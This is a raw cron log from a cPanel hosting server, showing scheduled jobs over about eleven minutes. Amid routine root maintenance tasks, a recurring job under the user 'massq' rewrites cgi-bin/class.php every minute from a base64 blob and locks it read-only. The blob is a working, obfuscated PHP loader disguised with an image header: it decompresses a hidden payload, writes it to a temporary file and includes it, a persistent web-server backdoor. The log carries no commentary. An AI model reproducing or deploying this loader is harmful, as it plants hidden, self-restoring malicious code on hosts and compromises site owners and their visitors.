Sep  1 16:00:01 server CROND[6282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:00:01 server CROND[6277]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 16:00:01 server CROND[6276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:00:01 server CROND[6281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:00:01 server CROND[6285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:01:01 server CROND[7104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:01:01 server CROND[7105]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 16:01:01 server CROND[7107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:01:01 server CROND[7106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:01:01 server run-parts(/etc/cron.hourly)[7105]: starting 0anacron
Sep  1 16:01:01 server run-parts(/etc/cron.hourly)[7126]: finished 0anacron
Sep  1 16:02:01 server CROND[7590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:02:01 server CROND[7591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:02:01 server CROND[7592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:03:01 server CROND[7972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:03:01 server CROND[7974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:03:01 server CROND[7973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:04:01 server CROND[8331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:04:01 server CROND[8335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:04:01 server CROND[8334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:05:01 server CROND[8704]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:05:01 server CROND[8706]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:05:01 server CROND[8707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:05:01 server CROND[8713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:05:01 server CROND[8711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:05:01 server CROND[8712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:05:01 server CROND[8715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:05:01 server CROND[8710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:06:01 server CROND[9536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:06:01 server CROND[9535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:06:01 server CROND[9537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:07:01 server CROND[9996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:07:01 server CROND[9997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:07:01 server CROND[9995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:08:01 server CROND[10383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:08:01 server CROND[10384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:08:01 server CROND[10385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:09:01 server CROND[10760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:09:01 server CROND[10761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:09:01 server CROND[10762]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 16:09:01 server CROND[10763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:10:01 server CROND[11210]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:10:01 server CROND[11212]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:10:01 server CROND[11213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:10:01 server CROND[11214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:10:01 server CROND[11215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:10:01 server CROND[11219]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:10:01 server CROND[11218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:10:01 server CROND[11225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:11:01 server CROND[12026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:11:01 server CROND[12027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:11:01 server CROND[12028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
